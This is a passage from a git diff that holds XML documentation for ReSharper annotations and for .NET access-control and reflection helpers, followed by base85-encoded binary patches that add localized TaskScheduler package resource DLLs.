stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + + + diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/de/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..89cecf24a43f0c8eedc6f9a83cce8a1bb6a2f72c GIT binary patch literal 9728 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/es/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..0a3074c29b152eb72e71c88f6f5730a41cb9fd01 GIT binary patch literal 10240 zcmeHMdvsORncs&uhM<%Xk`Q1+0#h+ulbfKB1(v)BNWv=#!8SZj&fQ54oO{mYoO440 zMzdPAt@Qzg@@S{dw4=0Gbh+wiLB=e`mi zt6j6^kGhk6&VGE~x4+l^_C4RO|LS%&lrc68^}+?l4&hB@p?qHY(TnM^Q=b~k{&Don z(+(+hFHdXi&>bGJt#(@tb4@i(%jKBSS{-(AEY*TOpql>QU% zSeJ%SIOr~=#zMw&Mo=TIY+!6m+RznsIb)-e07s#}IH@0SMVE`dn}-MHq^#gOxp2ld z1Z>CFFerIjhz1dzf|^tog8P6i3=4pg*A18?S~F3T%0k8}le)6Gg7k_)ybWQ)S$?v0II>NRBleGNZ1g9nG>0y|sw1 z7Pg~X=7O?7G5rcZLz=D?!N27vAWYe z$AA3VP5t9}@Z>W`OHW?&(43R|UU=x0pB~upYWa?{uWr4k@b{w&v@>g0pZ#Fz#1kLo zZdrN$wzs-QJhgUS=12Ga?bz?-?PCKhDow^U}1&hBE~}S>F^mcz)0Idb3)V``NGN-`zF-riNJ$RJ?g=Y~{~> zR9$uSd#^5f|E~VphhIE(^OUvImNx#~J4<`b@y$8*`4*$^wY5LU*tqWTQL{V7Z=$_% zIAh~6-;e$g=(iDb2q|*U>_vY8#vjGlYaE{x_(v0)8pr#)AHDK;s|qK7jcXcrPY+ zv_rrj3AiW0$7ay0z}$bM-vs!zc%R1DU7+z1#`^#}9b<=3voLlRYwSb&%i!%D)R!~S zu3#E-na(U`Lhx=DVS-hm7si%WF&1J5Mr@#h*kHgltP21di-L?`IRKkE7+3=)iCPUP zt60yFV$T{Jv;z!mVf8?9@TanNwCX^a55`$Ci46eCs%FbsGpoQ72CD{kH)w3aM0R5B zWSm>QDPqoJlH@QUkzjXX>V_IfZ-XJ5t%rte@ZK&NvLOp0RRXY0&I=H5v7n9Tw}=y8 zH_6L=h>0nSrKUUNLbPZ^VyVERbv^?~UL6*4FfefXe=wa>4}r7UbdXfZ9CjUmrZ<4(KuaW3TSflV2<}P6)lw5`Z1ELRSENW{ zLj@zvMAHZMR7JY3mXfNhRq`5Q>i{-oAlORK6|#m{7$ErrK~@1kg-N>Q-s6J-M4>4Y z3!1QD52y?R)P%`Rs3f_`?(vpNwtEGJyIB)trkz1sDkoKamB6*2{}Og^Aa)gGAj8rg zD`9;A$VW@wMlp6F&v0hlIh4eNvw$$3kdH5eU#x)L-Ts6_+d_A3JnvPZ8B zu#`Owz%&~!0o$~9O4u8iOk=wa`f5itF?|8kaMxrTBsQdH#XLmfG!3PKcp2|q8+!VW(Fgn|?ozj6Rf|K!m2cYAx=<;9*d;S&(b5jv02vI2Z&IyXbCVG}s zkk>N-K_|%{fqc`IBYS&alLUPd!*JH!a48a`k}yyxc%-gA6R7jA6m_t*Yd|1)DFUgQ zAV1I$EH+(^XQi5Qa6oVK zbpt#wIQYf3;MajtJ~&FMu@Yxp6;4$8Sw+8S9sv49G~%1`8Gu~GO3k1k;Cd8cP5>-T zC&|+#_&MYO{|pHef2p!=j^sPLBkh?yprRV|@Z^vyVku^xFbM3yz0cs<#|` z$w{2BFdcQHP)2Vn?cv*s%UAR$SG!ioa=3vS>U%_Wl#$y?Xs$<50!l}n%G-q2q4I9t zVc9AdCf^(tTy#Zr>KRo*)|gzg3{@Fkr#r5tWTG!N3N5PX zP@$3mXw5P$O$Y3_DloMEbs_Ev@KIL^sTh! zgbL`zArrVgNE(GyseEP9fMGI*vzTBEZBIa%x=1%%+ahGq35`R6sqE%MM)+F@DzRZSc%KJXE*Hxz;>&HlU6@{X zY7t)o#k+c&4#}iv7%A{mp+qx8ZpsC889~c&`+fv1N^i21+!z4)gme}GS8=2@g2@^J z0n!cmjTAiCQv`>D=&nxwXpnrN9%W7%j&$%~d0R~L*b9TAO@`2#EwFPeO5sUyY;tE; z#i&vO14p8L2gup*A2&7>RK#r&5yXTvZOpX;N@f*VI^NBPqk$ZpOLUQN*o2yjEkzIk zg?qE0oDSgGI6xae72g(N%T;{>g@X`?L4c@FWLA={TMY}lTM$uLB;ipAAFb*}OPQSn z3lf(D&y5+46cpPn)P!_OR=P=~p+@^#$-2z;$*4xa(^YR9OuUG5D&sIga@YyaO5UuH z()X&7^J9&JiX7t}T_smA+v=;xyrR2o(*`c%+WMk1d%nwI=@Mk&k20Gc=z z<8QxB<5U@YA@&}@X0Y*qt(4F8^4TSyJLK~qo>V+6l4~@Z&!)0*@|i22)8zA7`7Dvo z0Lx(gECAdycur!cl>jS{BiFGH(Jp0UhYaf_-p3ICl6oOK&n7GQy&5lyOzR^ZhC=Ie zkBRy92&;y;iTOEM7Eh?Q(J_t#k5xGEidLh$QFjed;X=EuQCF~lhSMxQS&cwp>k&do zfcThIRyd-X-2*39$f)iPoT#!Q-3aO(gG}MH5V5>*0kuTIjZD3tiVhhDyFyqdoXdcMdmL1*o|NKt0_en-!-WVZg|qCuBNKLJt*iR})*0jO z`SE+l*{EM^ZCRaL_SUzvCUxdVzWUgkh5OgcEq?C}E&ugjO?q?~SCp~6f6oeW%hJo( zE>IXjrbT~MLq!Q)y^!}Do<8)JpFFZ{>&kl{tnJ(VQqk>Y>IWZGuixEu@8YuZZ~mvd zvu4%vb%($AoiG2>=Np%wD}Un$`Hg?rwzuqrm~7nl!q{Cy=I*)v);%kYee++t_Uea! ze*emSPqaKSc6)jLgy-MA@7(yZ1*abPZTnYFo&I*g+ZDeazH|4QzN4eA`mU*cc;?Cd z&ny+q|2kb^lP{@EB!15+toL0gs#8bE#@XOtYa00B74s>+#a1IwB5%V! zShgErY=XkBsny-Z(N+$>4@XVi?PhF}!m{H|&5s@6!Q$fJ>|k*aw?CN*8x;(c1OpHn zdF$By5bVv?QJYh1VDayf7+YUu+0}+ouj;0^kA(=3qf@ys1NibbZXks(M*jab0A~Rc zxC7`-<;6So;0^=E32rg!nuR#u@Nw#wqr=P4T+JGgbYG1``zo}SAmzOb{UvxVLYvCd z!`??aT#20){;4s9eMQcC_qr5pl1nu@3aC<2lD=Lk%eMsIr0pq#}xC9c9UUqjhXI^Zc`ZXqA4 z;}e$BZ5-=zygmBFC5=!Tj?!P0E$_z27RhHsUfkH|dsh)$epwSn3C`JKiAjlA&VsQ% zC06O<+)L@vY8G%g z8A*DiWF%!hNFKV6q10U%Zw?4c_Bp=j2_}U87CAGI%>}O5&Cpz)Q*)YcS@_LLWiY9#FKYF!etgZRU6*rmoJ~sldoMbdq=YCY->zD zN{SMnQBWnRD7%3Wiu;XmaeLE62wfg5!<%w-RBA!P#V&}#rabN!q-7dMxJ3!!(q4&s zD_yiWQrjc}$w6yV8EAz-Os}QV^1gKk+Lp00{DMoYu^MY6G(xn=b4ujX^C24Rg0>a8 zdq~GNxFDS*r2F&v2}tXaFHxR|ZsQ!RPdRxy3s&IAtb#j1&%TD#S_HcClHncD2^(aL zvjfm@Q0~YeE+DBDWH_`Cm`IN0F?{kvlEdHA)bp(MepaC3c^er1n`knXJAodqBdK&m&2i+9r literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net7.0-windows7.0/fr/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..fea8cbfc01fd9b521ceb0ab38c1d222f708ea2a0 GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git 